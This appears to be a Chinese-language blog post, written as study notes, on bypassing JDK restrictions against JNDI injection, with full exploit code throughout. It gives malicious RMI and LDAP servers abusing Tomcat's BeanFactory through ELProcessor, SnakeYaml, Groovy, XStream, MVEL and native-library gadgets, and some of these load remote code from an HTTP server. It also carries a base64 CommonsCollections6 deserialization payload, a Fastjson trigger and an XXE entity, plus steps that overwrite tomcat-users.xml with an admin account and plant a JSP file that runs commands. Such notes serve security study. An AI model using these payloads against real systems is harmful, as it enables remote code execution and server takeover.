限制:

1
2
3
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

绕过

jdk8u121-jdk8u191: 就是把rmi协议改成ldap协议就行

jdk8u191之后:

本地类作为Reference Factory

那些类的要求:

  • 传入的 Factory 类必须实现 ObjectFactory 接口类,至少有一个getObjectInstance()方法
  • 恶意类的只有一个参数,参数类型是String.class的可以执行危险函数

ELProcessor

poe.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>

<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
</dependencies>

这里直接抄的Drun1baby师傅的代码:
服务端:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端
public class testbypass {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval'
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("remoteObj", referenceWrapper);
}
}

客户端:

1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;
import javax.naming.InitialContext;

public class testbypass {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/remoteObj";
Context context = new InitialContext();
context.lookup(uri);
}
}

lookup处和NamingManage的getObjectInstance()处下断点
image.png
调试的时候进入:
image.png

通过 loadClass() 方法来加载我们传入的 org.apache.naming.factory.BeanFactory 类,然后新建该类实例并将其转换成 ObjectFactory 类型,也就是说,我们传入的 Factory 类必须实现 ObjectFactory 接口类、而 org.apache.naming.factory.BeanFactory 正好满足这一点
image.png

然后退回NamingManager类接着走下面,进入BeanFactory的getObjectInstance()方法里:
image.png
这里首先就判断ref是不是ResourceRef的子类,这也是为什么我们的payload构造的是ResourceRef对象
后面进行了一系列的赋值操作
image.png
ra变量是我们传入的forceString的addr值,后面的for循环会将我们传入的x=eval分割开,propName是”eval”,param是”x”,这里的propName本来是x的set方法:setX,这里被换成了eval()方法,后面把它push进入foreced这个HashMap里面去

==这里有个点就是这个method的方法是通过propName来确定的,参数类型找的是String.class
所以我们找到目标类是那些只有一个参数,参数类型是String.class的可以执行恶意代码的类
而这里是用的javax.el.ELProcessor.eval()方法就满足条件==

image.png
然后有一个非常多嵌套的do while循环,我们的e变量有五个数组,四个的addrType都是while判断语句里的,只有最后一个x不是,可以跳出循环
image.png
后面就是调用恶意eval方法了,value就是我们传入的恶意表达式
image.png
成功弹出计算器

SnakeYaml

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

原理都是利用本地类,这里找到的是org.yaml.snakeyaml.Yaml().load(String)
服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ldapbypass {
private static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.tomcat_snakeyaml());
registry.bind("remoteObj", referenceWrapper);
}
}

客户端:
1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;
import javax.naming.InitialContext;

public class testbypass {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/remoteObj");
}
}

yaml-payload.jar的GitHub地址: https://github.com/artsploit/yaml-payload
编译打包:

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

image.png

GroovyClassLoader

poe.xml

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.9</version>
</dependency>

服务端:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ldapbypass {
private static ResourceRef tomcatGroovyClassLoader() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
ref.add(new StringRefAddr("a", "http://127.0.0.1:8888/"));
ref.add(new StringRefAddr("b", "Evil"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.tomcatGroovyClassLoader());
registry.bind("remoteObj", referenceWrapper);
}

}

客户端:
1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;
import javax.naming.InitialContext;

public class testbypass {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/remoteObj");
}
}

要提前写好Evil.grovvy

1
2
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")})
class Person{}

开启临时服务器,注意同目录不要有Evil.class,不然会优先访问Evil.class不会触发漏洞
image.png

GroovyShell

还是和一个包,不用到依赖了,就是换个类和方法,这里用的方法是groovy.lang.GroovyShell.evaluate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.xml.internal.ws.api.ha.StickyFeature;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ldapbypass {
private static ResourceRef tomcatGroovyClassLoader() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=evaluate"));
String script=String.format("'%s'.execute()","calc");
ref.add(new StringRefAddr("a", script));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.tomcatGroovyClassLoader());
registry.bind("remoteObj", referenceWrapper);
}

}

客户端代码一样的,这回不需要Evil.groovy文件

XStream

com.thoughtworks.xstream.XStream().fromXML(String)方法也可以
poe.xml

1
2
3
4
5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>

就修改下那个返回ResourceRef对象的方法,其他的都一样的步骤,这里直接贴的原文的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private static ResourceRef tomcat_xstream(){
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>calc</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
return ref;
}

image.png

MVEL

org.mvel2.sh.ShellSession#exec(String)可以通过push执行execute来执行命令

1
2
3
4
5
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.8.Final</version>
</dependency>
1
2
3
4
5
6
7
8
private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('calc');"));
return ref;
}

image.png

这里先把传入的push Runtime.getRuntime().exec('calc');赋值给inTokens变量
image.png
然后进入if判断语句,this.commands有9个内置的数据
image.png
我们已经传了push了可以进入if语句,然后把数组第二个元素赋值给passParameters变量
image.png

然后调用((Command)this.commands.get(inTokens[0])).execute(this, passParameters);执行命令
弹出计算器
image.png

NativeLibLoader

com.sun.glass.utils.NativeLibLoader的loadLibrary(String)方法
有一个system.load(libFileName),可以加载指定路径的动态链接库文件

Windows下做个弹计算器的dll

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("open -a Calculator");
}

1
2
3
4
5
# macOS
gcc -shared -fPIC exp.c -o exp.dylib

# Linux
gcc -shared -fPIC exp.c -o exp.so
1
2
3
4
5
6
7
private static ResourceRef tomcat_loadLibrary(){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../path"));
return ref;
}

这里我在Windows下没有复现成功,调试发现
image.png
image.png

尝试了很多种路径的写法都不行,后面调了两个小时找到了原因,这个路径的拼接问题,我的calculator.dll放在"C:\Users\30779\Desktop\共享\payload\calculator.dll"的,但是拼接的时候获取的是NativeLibLoader.class的路径,我本地是安装在E:\Java\java-8u201\jdk8u-201\jre\lib\
之前的路径拼接是有问题的,因为E盘的文件夹内不管多少的../最终都回到E://,而后面接着C://就不符合Windows的路径规则
image.png
这里执行之后res会成功解析出E:\calculator.dll
image.png
而我们本地已经把dll文件复制到E盘了
image.png
因此最后执行成功,弹出计算器
image.png

利用LDAP返回序列化对象

LDAP服务端不仅支持JNDI Reference的利用方式,还支持直接返回一个序列化的对象,当Java对象的javaSerializedData属性值不为空时,客户端的obj.decodeObject()方法就会对这个字段的内容反序列化

yso生成一个cc6的payload:

1
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64

ldap server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class ldapbypass {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://111.229.158.40:8000/#Evil";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

poe.xml

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

客户端:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

java代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//import com.alibaba.fastjson.JSON;

import javax.naming.Context;
import javax.naming.InitialContext;

public class testbypass {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/Evil");

// Fastjson反序列化JNDI注入Gadget触发
// String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
// JSON.parse(payload);
}
}

image.png

调用栈:

1
2
3
4
5
6
7
8
9
10
readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:10, testbypass

XXE&RCE

XXE

org.apache.catalina.users.MemoryUserDatabaseFactory的getObjectIntance()方法
image.png

先创建一个MemoryUserDatabase对象,获取pathname和readonly属性调用setter方法赋值给新数据库对象
然后调用open()函数
image.png
InputStream is = uConn.getInputStream();这里发起的http请求,这里把xml解析的结果赋给user,role,group,最后调用parse函数解析image.png
把之前的http请求信息parse处理

1
2
3
4
5
6
private static ResourceRef XXEexp(){
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/exp.xml"));
return ref;
}

exp.xml
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1:8888/hello">%remote;]>
<root/>

image.png

RCE

创建管理员账号密码

这里利用的是MemoryUserDatabase的save方法
image.png

这里需要经过 isWriteable()==true的判断
image.png
这里的new File(System.getProperty("catalina.base"), this.pathname)
把tomcat的安装目录和可控的pathname拼接组成文件名生成一个File对象
==所以这个目录必然不存在、不是目录、不可写,也就无法通过判断==

这里可以利用目录跳转:
假设catalina.base是/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml
拼接的路径是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml

getParentFile 获取到的是 /usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/

在 Windows 下这样没问题,但如果是Linux系统的话,需要存在http:和127.0.0.1:8888这两个目录

Windows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.xml.internal.ws.api.ha.StickyFeature;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class ldapbypass {
private static ResourceRef exp(){
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.exp());
registry.bind("remoteObj", referenceWrapper);
}

}

xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">

<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>

<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>

在conf目录的那一级开python临时http服务器

image.png
我这里环境出了点状况没复现成功

Linux下需要先创建那两个目录,再执行xml覆盖,这里创建目录用的org.h2.store.fs.FileUtils的createDirectory方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private static ResourceRef tomcatMkdirFrist() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:"));
return ref;
}
private static ResourceRef tomcatMkdirLast() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
return ref;
private static ResourceRef tomcatManagerAdd() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}

最终覆盖xml文件可以直接去/manager路由登录管理员

执行jsp

写个jsp

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc.exe&#x22;); %&#x3e;"/>
</tomcat-users>

存在webapps/ROOT/test.jsp
在webapps开启临时服务器

1
2
3
4
5
6
7
private static ResourceRef exp(){
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}

image.png

参考